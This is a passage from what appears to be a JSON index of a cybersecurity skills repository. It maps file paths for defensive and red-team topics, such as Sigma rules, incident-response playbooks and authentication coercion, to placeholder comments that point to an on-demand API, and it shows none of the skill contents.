-->","skills/building-cloud-siem-with-sentinel/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-cloud-siem-with-sentinel%2Freferences%2Fapi-reference.md -->","skills/building-detection-rule-with-splunk-spl/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2FSKILL.md -->","skills/building-detection-rule-with-splunk-spl/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2Fassets%2Ftemplate.md -->","skills/building-detection-rule-with-splunk-spl/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2Freferences%2Fapi-reference.md -->","skills/building-detection-rule-with-splunk-spl/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2Freferences%2Fstandards.md -->","skills/building-detection-rule-with-splunk-spl/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2Freferences%2Fworkflows.md -->","skills/building-detection-rules-with-sigma/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rules-with-sigma%2FSKILL.md -->","skills/building-detection-rules-with-sigma/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rules-with-sigma%2Freferences%2Fapi-reference.md -->","skills/building-devsecops-pipeline-with-gitlab-ci/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2FSKILL.md -->","skills/building-devsecops-pipeline-with-gitlab-ci/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2Fassets%2Ftemplate.md -->","skills/building-devsecops-pipeline-with-gitlab-ci/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2Freferences%2Fapi-reference.md -->","skills/building-devsecops-pipeline-with-gitlab-ci/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2Freferences%2Fstandards.md -->","skills/building-devsecops-pipeline-with-gitlab-ci/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2Freferences%2Fworkflows.md -->","skills/building-identity-federation-with-saml-azure-ad/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2FSKILL.md -->","skills/building-identity-federation-with-saml-azure-ad/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2Fassets%2Ftemplate.md -->","skills/building-identity-federation-with-saml-azure-ad/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2Freferences%2Fapi-reference.md -->","skills/building-identity-federation-with-saml-azure-ad/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2Freferences%2Fstandards.md -->","skills/building-identity-federation-with-saml-azure-ad/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2Freferences%2Fworkflows.md -->","skills/building-identity-governance-lifecycle-process/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-governance-lifecycle-process%2FSKILL.md -->","skills/building-identity-governance-lifecycle-process/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-governance-lifecycle-process%2Freferences%2Fapi-reference.md -->","skills/building-incident-response-dashboard/SKILL.es.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-dashboard%2FSKILL.es.md -->","skills/building-incident-response-dashboard/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-dashboard%2FSKILL.md -->","skills/building-incident-response-dashboard/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-dashboard%2Freferences%2Fapi-reference.md -->","skills/building-incident-response-playbook/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-playbook%2FSKILL.md -->","skills/building-incident-response-playbook/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-playbook%2Freferences%2Fapi-reference.md -->","skills/building-incident-timeline-with-timesketch/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2FSKILL.md -->","skills/building-incident-timeline-with-timesketch/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2Fassets%2Ftemplate.md -->","skills/building-incident-timeline-with-timesketch/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2Freferences%2Fapi-reference.md -->","skills/building-incident-timeline-with-timesketch/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2Freferences%2Fstandards.md -->","skills/building-incident-timeline-with-timesketch/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2Freferences%2Fworkflows.md -->","skills/building-ioc-defanging-and-sharing-pipeline/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-defanging-and-sharing-pipeline%2FSKILL.md -->","skills/building-ioc-defanging-and-sharing-pipeline/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-defanging-and-sharing-pipeline%2Freferences%2Fapi-reference.md -->","skills/building-ioc-enrichment-pipeline-with-opencti/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2FSKILL.md -->","skills/building-ioc-enrichment-pipeline-with-opencti/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2Fassets%2Ftemplate.md -->","skills/building-ioc-enrichment-pipeline-with-opencti/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2Freferences%2Fapi-reference.md -->","skills/building-ioc-enrichment-pipeline-with-opencti/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2Freferences%2Fstandards.md -->","skills/building-ioc-enrichment-pipeline-with-opencti/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2Freferences%2Fworkflows.md -->","skills/building-malware-incident-communication-template/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2FSKILL.md -->","skills/building-malware-incident-communication-template/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2Fassets%2Ftemplate.md -->","skills/building-malware-incident-communication-template/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2Freferences%2Fapi-reference.md -->","skills/building-malware-incident-communication-template/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2Freferences%2Fstandards.md -->","skills/building-malware-incident-communication-template/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2Freferences%2Fworkflows.md -->","skills/building-patch-tuesday-response-process/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2FSKILL.md -->","skills/building-patch-tuesday-response-process/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2Fassets%2Ftemplate.md -->","skills/building-patch-tuesday-response-process/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2Freferences%2Fapi-reference.md -->","skills/building-patch-tuesday-response-process/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2Freferences%2Fstandards.md -->","skills/building-patch-tuesday-response-process/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2Freferences%2Fworkflows.md -->","skills/building-phishing-reporting-button-workflow/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2FSKILL.md -->","skills/building-phishing-reporting-button-workflow/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2Fassets%2Ftemplate.md -->","skills/building-phishing-reporting-button-workflow/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2Freferences%2Fapi-reference.md -->","skills/building-phishing-reporting-button-workflow/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2Freferences%2Fstandards.md -->","skills/building-phishing-reporting-button-workflow/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2Freferences%2Fworkflows.md -->","skills/building-ransomware-playbook-with-cisa-framework/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ransomware-playbook-with-cisa-framework%2FSKILL.md -->","skills/building-ransomware-playbook-with-cisa-framework/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ransomware-playbook-with-cisa-framework%2Freferences%2Fapi-reference.md -->","skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2FSKILL.md -->","skills/building-red-team-c2-infrastructure-with-havoc/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2Fassets%2Ftemplate.md -->","skills/building-red-team-c2-infrastructure-with-havoc/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2Freferences%2Fapi-reference.md -->","skills/building-red-team-c2-infrastructure-with-havoc/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2Freferences%2Fstandards.md -->","skills/building-red-team-c2-infrastructure-with-havoc/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2Freferences%2Fworkflows.md -->","skills/building-role-mining-for-rbac-optimization/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2FSKILL.md -->","skills/building-role-mining-for-rbac-optimization/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2Fassets%2Ftemplate.md -->","skills/building-role-mining-for-rbac-optimization/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2Freferences%2Fapi-reference.md -->","skills/building-role-mining-for-rbac-optimization/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2Freferences%2Fstandards.md -->","skills/building-role-mining-for-rbac-optimization/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2Freferences%2Fworkflows.md -->","skills/building-soc-escalation-matrix/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2FSKILL.md -->","skills/building-soc-escalation-matrix/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2Fassets%2Ftemplate.md -->","skills/building-soc-escalation-matrix/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2Freferences%2Fapi-reference.md -->","skills/building-soc-escalation-matrix/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2Freferences%2Fstandards.md -->","skills/building-soc-escalation-matrix/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2Freferences%2Fworkflows.md -->","skills/building-soc-metrics-and-kpi-tracking/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-metrics-and-kpi-tracking%2FSKILL.md -->","skills/building-soc-metrics-and-kpi-tracking/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-metrics-and-kpi-tracking%2Freferences%2Fapi-reference.md -->","skills/building-soc-playbook-for-ransomware/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-playbook-for-ransomware%2FSKILL.md -->","skills/building-soc-playbook-for-ransomware/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-playbook-for-ransomware%2Freferences%2Fapi-reference.md -->","skills/building-super-timelines-with-plaso/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-super-timelines-with-plaso%2FSKILL.md -->","skills/building-super-timelines-with-plaso/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-super-timelines-with-plaso%2Freferences%2Fapi-reference.md -->","skills/building-super-timelines-with-plaso/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-super-timelines-with-plaso%2Freferences%2Fstandards.md -->","skills/building-threat-actor-profile-from-osint/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-actor-profile-from-osint%2FSKILL.md -->","skills/building-threat-actor-profile-from-osint/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-actor-profile-from-osint%2Freferences%2Fapi-reference.md -->","skills/building-threat-feed-aggregation-with-misp/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-feed-aggregation-with-misp%2FSKILL.md -->","skills/building-threat-feed-aggregation-with-misp/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-feed-aggregation-with-misp%2Freferences%2Fapi-reference.md -->","skills/building-threat-hunt-hypothesis-framework/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2FSKILL.md -->","skills/building-threat-hunt-hypothesis-framework/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2Fassets%2Ftemplate.md -->","skills/building-threat-hunt-hypothesis-framework/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2Freferences%2Fapi-reference.md -->","skills/building-threat-hunt-hypothesis-framework/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2Freferences%2Fstandards.md -->","skills/building-threat-hunt-hypothesis-framework/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2Freferences%2Fworkflows.md -->","skills/building-threat-intelligence-enrichment-in-splunk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2FSKILL.md -->","skills/building-threat-intelligence-enrichment-in-splunk/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2Fassets%2Ftemplate.md -->","skills/building-threat-intelligence-enrichment-in-splunk/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2Freferences%2Fapi-reference.md -->","skills/building-threat-intelligence-enrichment-in-splunk/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2Freferences%2Fstandards.md -->","skills/building-threat-intelligence-enrichment-in-splunk/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2Freferences%2Fworkflows.md -->","skills/building-threat-intelligence-feed-integration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-feed-integration%2FSKILL.md -->","skills/building-threat-intelligence-feed-integration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-feed-integration%2Freferences%2Fapi-reference.md -->","skills/building-threat-intelligence-platform/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2FSKILL.md -->","skills/building-threat-intelligence-platform/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2Fassets%2Ftemplate.md -->","skills/building-threat-intelligence-platform/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2Freferences%2Fapi-reference.md -->","skills/building-threat-intelligence-platform/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2Freferences%2Fstandards.md -->","skills/building-threat-intelligence-platform/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2Freferences%2Fworkflows.md -->","skills/building-vulnerability-aging-and-sla-tracking/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2FSKILL.md -->","skills/building-vulnerability-aging-and-sla-tracking/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2Fassets%2Ftemplate.md -->","skills/building-vulnerability-aging-and-sla-tracking/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2Freferences%2Fapi-reference.md -->","skills/building-vulnerability-aging-and-sla-tracking/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2Freferences%2Fstandards.md -->","skills/building-vulnerability-aging-and-sla-tracking/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2Freferences%2Fworkflows.md -->","skills/building-vulnerability-dashboard-with-defectdojo/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2FSKILL.md -->","skills/building-vulnerability-dashboard-with-defectdojo/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2Fassets%2Ftemplate.md -->","skills/building-vulnerability-dashboard-with-defectdojo/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2Freferences%2Fapi-reference.md -->","skills/building-vulnerability-dashboard-with-defectdojo/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2Freferences%2Fstandards.md -->","skills/building-vulnerability-dashboard-with-defectdojo/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2Freferences%2Fworkflows.md -->","skills/building-vulnerability-exception-tracking-system/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2FSKILL.md -->","skills/building-vulnerability-exception-tracking-system/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2Fassets%2Ftemplate.md -->","skills/building-vulnerability-exception-tracking-system/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2Freferences%2Fapi-reference.md -->","skills/building-vulnerability-exception-tracking-system/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2Freferences%2Fstandards.md -->","skills/building-vulnerability-exception-tracking-system/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2Freferences%2Fworkflows.md -->","skills/building-vulnerability-scanning-workflow/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-scanning-workflow%2FSKILL.md -->","skills/building-vulnerability-scanning-workflow/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-scanning-workflow%2Freferences%2Fapi-reference.md -->","skills/bypassing-authentication-with-forced-browsing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbypassing-authentication-with-forced-browsing%2FSKILL.md -->","skills/bypassing-authentication-with-forced-browsing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbypassing-authentication-with-forced-browsing%2Freferences%2Fapi-reference.md -->","skills/coercing-authentication-with-coercer-petitpotam/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcoercing-authentication-with-coercer-petitpotam%2FSKILL.md -->","skills/coercing-authentication-with-coercer-petitpotam/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcoercing-authentication-with-coercer-petitpotam%2Freferences%2Fapi-reference.md -->","skills/coercing-authentication-with-coercer-petitpotam/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcoercing-authentication-with-coercer-petitpotam%2Freferences%2Fstandards.md -->","skills/collecting-indicators-of-compromise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-indicators-of-compromise%2FSKILL.md -->","skills/collecting-indicators-of-compromise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-indicators-of-compromise%2Freferences%2Fapi-reference.md -->","skills/collecting-open-source-intelligence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-open-source-intelligence%2FSKILL.md -->","skills/collecting-open-source-intelligence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-open-source-intelligence%2Freferences%2Fapi-reference.md -->","skills/collecting-threat-intelligence-with-misp/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2FSKILL.md -->","skills/collecting-threat-intelligence-with-misp/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2Fassets%2Ftemplate.md -->","skills/collecting-threat-intelligence-with-misp/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2Freferences%2Fapi-reference.md -->","skills/collecting-threat-intelligence-with-misp/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2Freferences%2Fstandards.md -->","skills/collecting-threat-intelligence-with-misp/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2Freferences%2Fworkflows.md -->","skills/collecting-volatile-evidence-from-compromised-host/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2FSKILL.md -->","skills/collecting-volatile-evidence-from-compromised-host/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2Fassets%2Ftemplate.md -->","skills/collecting-volatile-evidence-from-compromised-host/references/api-reference.md":"<!-- Skill available on-demand via 